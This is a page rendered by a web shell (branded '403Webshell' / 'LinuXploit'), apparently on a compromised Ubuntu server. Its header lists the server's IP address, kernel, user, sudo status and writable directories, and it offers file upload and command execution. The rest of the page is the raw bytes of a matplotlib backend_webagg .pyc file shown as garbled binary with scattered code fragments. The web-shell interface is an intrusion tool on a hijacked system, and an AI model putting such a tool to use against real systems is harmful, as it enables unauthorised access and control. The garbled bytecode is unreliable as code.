403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.117
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/matplotlib/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/matplotlib/backends/__pycache__/backend_webagg.cpython-312.pyc
�

G8�c�*���dZddlmZddlZddlmZddlZddlZddlm	Z	ddl
Z
ddlZddlZddl
Z
ddlZ	ddlZddlZddlZddlZddlZddlmZddlmZd	d
lmZd	dlmZm Z Gd�d
ejB�Z"e"�Z#Gd�dejH�Z$Gd�dejJ�Z&Gd�dejNjP�Z)d�Z*ejVGd�de��Z,y#e$rZed�e�dZ[wwxYw)z8
Displays Agg images in the browser, with interactivity
�)�contextmanagerN)�BytesIO)�Pathz$The WebAgg backend requires Tornado.)�_Backend)�Gcf�)�backend_webagg_core)�TimerAsyncio�TimerTornadoc��eZdZd�Zy)�ServerThreadc�p�tjjj�j	�y�N)�tornado�ioloop�IOLoop�instance�start��selfs �D/usr/lib/python3/dist-packages/matplotlib/backends/backend_webagg.py�runzServerThread.run,s!�������&�&�(�.�.�0�N)�__name__�
__module__�__qualname__r�rrr
r
+s��1rr
c�$�eZdZejZy)�FigureManagerWebAggN)rrr�core�NavigationToolbar2WebAgg�_toolbar2_classrrrrr3s
���3�3�Orrc��eZdZeZy)�FigureCanvasWebAggN)rrrr�
manager_classrrrr$r$7s��'�Mrr$c���eZdZdZdZGd�dejj�ZGd�dejj�Z	Gd�dejj�Z
Gd�d	ejj�ZGd
�dejj�ZGd�d
ejj�Zd�fd�	Zedd��Zed��Z�xZS)�WebAggApplicationFc��eZdZd�Zy)�WebAggApplication.FavIconc��|jdd�|jttj�d�j��y)N�Content-Typez	image/pngzimages/matplotlib.png)�
set_header�writer�mpl�
get_data_path�
read_bytesrs r�getzWebAggApplication.FavIcon.get@s9���O�O�N�K�8��J�J�t�C�-�-�/�3�5�5?�Z�\�
CrN�rrrr1rrr�FavIconr)?s��	Crr3c�*��eZdZdd��fd�
Zd�Z�xZS)�"WebAggApplication.SingleFigurePage���
url_prefixc�6��||_t�|�||fi|��yr�r8�super�__init__�r�application�requestr8�kwargs�	__class__s     �rr<z+WebAggApplication.SingleFigurePage.__init__F����(�D�O��G��[�'�<�V�<rc��t|�}tj|�}dj|j|j
��}|j
d|j
||tjj|j��y)N�ws://{req.host}{prefix}/��req�prefixzsingle_figure.html)rG�ws_uri�fig_id�	toolitems�canvas)�intr�get_fig_manager�formatr?r8�renderr r!rJrK)r�fignum�managerrHs    rr1z&WebAggApplication.SingleFigurePage.getJsu����[�F��)�)�&�1�G�/�6�6�4�<�<�>B�o�o�7�O�F��K�K�$�������7�7�A�A��~�~�

�
'r�rrrr<r1�
__classcell__�rAs@r�SingleFigurePager5Es���?A�	=�	'rrUc�*��eZdZdd��fd�
Zd�Z�xZS)� WebAggApplication.AllFiguresPager6r7c�6��||_t�|�||fi|��yrr:r=s     �rr<z)WebAggApplication.AllFiguresPage.__init__YrBrc	��dj|j|j��}|jd|j|t	t
jj��tjj��y)NrDrEzall_figures.html)rGrH�figuresrJ)rNr?r8rO�sortedr�figs�itemsr r!rJ)rrHs  rr1z$WebAggApplication.AllFiguresPage.get]sf��/�6�6�4�<�<�>B�o�o�7�O�F��K�K�"������s�x�x�~�~�/�0��7�7�A�A�
�
CrrRrTs@r�AllFiguresPagerWXs���?A�	=�	Crr^c��eZdZd�Zy)�WebAggApplication.MplJsc��|jdd�tjj�}|j	|�y)Nr+zapplication/javascript)r,r r�get_javascriptr-)r�
js_contents  rr1zWebAggApplication.MplJs.geths1���O�O�N�,D�E��1�1�@�@�B�J��J�J�z�"rNr2rrr�MplJsr`gs��	#rrdc��eZdZd�Zy)�WebAggApplication.Downloadc�D�t|�}tj|�}|jdtj
j
|d��t�}|jjj||��|j|j��y)Nr+�binary)rN)
rLrrMr,�	mimetypes�	types_mapr1rrK�figure�savefigr-�getvalue)rrP�fmtrQ�buffs     rr1zWebAggApplication.Download.getpsv����[�F��)�)�&�1�G��O�O��	� 3� 3� 7� 7��X� F�
H��9�D��N�N�!�!�)�)�$�s�)�;��J�J�t�}�}��'rNr2rrr�Downloadrfos��	(rrpc�.�eZdZdZd�Zd�Zd�Zd�Zd�Zy)�WebAggApplication.WebSocketTc���t|�|_tj|j�|_|jj|�t
|d�r|jd�yy)N�set_nodelayT)rLrPrrMrQ�add_web_socket�hasattrrt)rrPs  r�openz WebAggApplication.WebSocket.open|sR���f�+�D�K��.�.�t�{�{�;�D�L��L�L�'�'��-��t�]�+�� � ��&�,rc�:�|jj|�yr)rQ�remove_web_socketrs r�on_closez$WebAggApplication.WebSocket.on_close�s���L�L�*�*�4�0rc��tj|�}|ddk(r|d|_ytj|j
�}|�|j
|�yy)N�type�supports_binary�value)�json�loadsr}rrMrP�handle_json)r�messagerQs   r�
on_messagez&WebAggApplication.WebSocket.on_message�s[���j�j��)�G��v��"3�3�'.�w�'7��$��-�-�d�k�k�:���&��'�'��0�'rc�L�|jtj|��yr)�
write_messager�dumps)r�contents  r�	send_jsonz%WebAggApplication.WebSocket.send_json�s�����t�z�z�'�2�3rc���|jr|j|d��ydj|jd�j	dd��}|j|�y)NT)rhzdata:image/png;base64,{0}�base64�
r6)r}r�rN�encode�replace)r�blob�data_uris   r�send_binaryz'WebAggApplication.WebSocket.send_binary�sU���#�#��"�"�4��"�5�6�=�=��K�K��)�1�1�$��;�=���"�"�8�,rN)	rrrr}rwrzr�r�r�rrr�	WebSocketrrys ����	'�	1�
	1�	4�	-rr�c�R��|r|ddk(r|ddk7sJd��t�|�|dztjjdt
jj�if|dztjjdttj�d�if|d	z|jf|d
z|jd|if|dz|jd|if|d
z|jf|dz|jf|dz|j fgt
jj���y)Nr�/���z6url_prefix must start with a "/" and not end with one.z
/_static/(.*)�pathz
/_images/(.*)�imagesz/favicon.icoz	/([0-9]+)r8z/?z
/js/mpl.jsz/([0-9]+)/wsz/([0-9]+)/download.([a-z0-9.]+))�
template_path)r;r<r�web�StaticFileHandlerr r�get_static_file_pathrr.r/r3rUr^rdr�rp)rr8rAs  �rr<zWebAggApplication.__init__�sX�����a�=�C�'�J�r�N�c�,A�
I�H�
I�A�	����.�.����.�.��$�2�2�G�G�I�J�L�
�.�.����.�.��$�s�0�0�2�H�=�>�@�
�o�-�t�|�|�<��l�*�D�,A�,A��
�+�-��e�#�T�%8�%8��
�+�-��m�+�T�Z�Z�8��o�-�t�~�~�>��@�@���� �;
�@�2�2�G�G�I�C	�!	Krc���|jry||��}||_d�}|�tjd|_n||_tjd|_||j
tjd�D].}	|j
||j�||_d|_ytd��#tj$r(}|jtjk7r�Yd}~�rd}~wwxYw)Nr7c3�K�ttd|��D]	}||z���t|dz
�D]#}|tjd|zd|z�z���%y�w)z�
            Generate a list of n random ports near the given port.

            The first 5 ports will be sequential, and the remaining n-5 will be
            randomly selected in the range [port-2*n, port+2*n].
            �����N)�range�min�random�randint)�port�n�is   r�random_portsz2WebAggApplication.initialize.<locals>.random_ports�s`�����3�q�!�9�%�
���Q�h��
��1�q�5�\�
;���V�^�^�B��F�A��E�:�:�:�
;�s�AAzwebagg.addresszwebagg.portzwebagg.port_retrieszSThe webagg server could not be started because an available port could not be foundT)�initializedr8r.�rcParams�addressr��listen�socket�error�errno�
EADDRINUSE�
SystemExit)�clsr8r�r��appr��es       r�
initializezWebAggApplication.initialize�s����?�?���Z�(��#���
	;��?��,�,�'7�8�C�K�!�C�K��<�<�
�.��� ����!$���.C�!D�F�
	+�D�
��
�
�4����-�
 �������
	+��*�+�
+���<�<�
��7�7�e�.�.�.��/��
�s�B;�;C6�C1�1C6c�X�����jry	tjjj	����fd��t
��fd��}d�_t
d�tjj�|�5�j�ddd�y#1swYyxYw)Nc����j�td�tjj	�d�_y)NzServer is stoppedF)�stop�print�sys�stdout�flush�started)r�rs��r�shutdownz)WebAggApplication.start.<locals>.shutdowns,����K�K�M��%�&��J�J�����C�Krc3��K�tjtj��fd��}	d��tjtj|�y#tjtj|�wxYw�w)Nc�&���j��Sr)�add_callback_from_signal)�sig�framerr�s  ��r�<lambda>z?WebAggApplication.start.<locals>.catch_sigint.<locals>.<lambda>s���6�#B�#B�8�#L�r)�signal�SIGINT)�old_handlerrr�s ��r�catch_sigintz-WebAggApplication.start.<locals>.catch_sigint
sL����� �-�-��
�
�L�N�K�
:���
�
�f�m�m�[�9���
�
�f�m�m�[�9�s�)A?�A�%A?�&A<�<A?Tz"Press Ctrl+C to stop WebAgg server)r�rrrrrr�r�r�r�r)r�r�rr�s` @@rrzWebAggApplication.start�s�����;�;��	����&�&�/�/�1��	 �
�	:�
�	:����
�2�3��
�
����
�^�	��L�L�N�	�	�	�s�B � B))r6)r6NN)rrrr�r�rr��RequestHandlerr3rUr^rdrp�	websocket�WebSocketHandlerr�r<�classmethodr�rrSrTs@rr'r';s�����K��G�C�'�+�+�,�,�C�'�7�;�;�5�5�'�&
C����3�3�
C�#����*�*�#�(�7�;�;�-�-�(�%-�G�%�%�6�6�%-�N&K�P�+��+�Z�#��#rr'c��ddl}tj�tj	�stj�|j}ttjj�d�j�}|jj|�}|jtj|tj j"|j$tj&��j)d�S)Nrzipython_inline_figure.html)rGrIrJrKr�zutf-8)�tornado.templater'r��webagg_server_thread�is_aliver�numberrr rr��	read_text�template�Template�generater8r!rJrKr��decode)rkrrP�tpl�ts     r�ipython_inline_displayr�s����� � �"��(�(�*��"�"�$�
�]�]�F�
�t�'�'�<�<�>�+�-�-6�Y�[�����!�!�#�&�A��:�:� �+�+���/�/�9�9��}�}�
�
#�
#��%�
&,�V�G�_�5rc�*�eZdZeZeZedd�d��Zy)�_BackendWebAggN)�blockc��tj�djtjtjtj
��}tjdr0ddl}|j|�s5tdj|��ntdj|��tj�y)Nzhttp://{address}:{port}{prefix})r�r�rGzwebagg.open_in_browserrzTo view figure, visit {0})r'r�rNr�r�r8r.r��
webbrowserrwr�r)r��urlr�s   r�showz_BackendWebAgg.show5s����$�$�&�/�6�6�%�-�-�"�'�'�$�/�/�7�1��
�<�<�0�1���?�?�3�'��1�8�8��=�>��-�4�4�S�9�:����!r)	rrrr$�FigureCanvasr�
FigureManager�staticmethodr�rrrr�r�0s!��%�L�'�M���"��"rr�)-�__doc__�
contextlibrr��iorrri�pathlibrr�r�r�r��	threadingr�ImportError�err�RuntimeError�tornado.web�tornado.ioloop�tornado.websocket�
matplotlibr.�matplotlib.backend_basesr�matplotlib._pylab_helpersrr6r	r r
r�Threadr
r�r�FigureCanvasWebAggCorer$r��Applicationr'r��exportr�rrr�<module>r�s����&������
�
�
�
��H������-�)�)� �1�9�#�#�1�
$�~��4�$�2�2�4�(��4�4�(�_����/�/�_�D5�&
���"�X�"��"��k�H�
�=�
>�C�G��H�s�C'�'C:�,	C5�5C:

Youez - 2016 - github.com/yon3zu
LinuXploit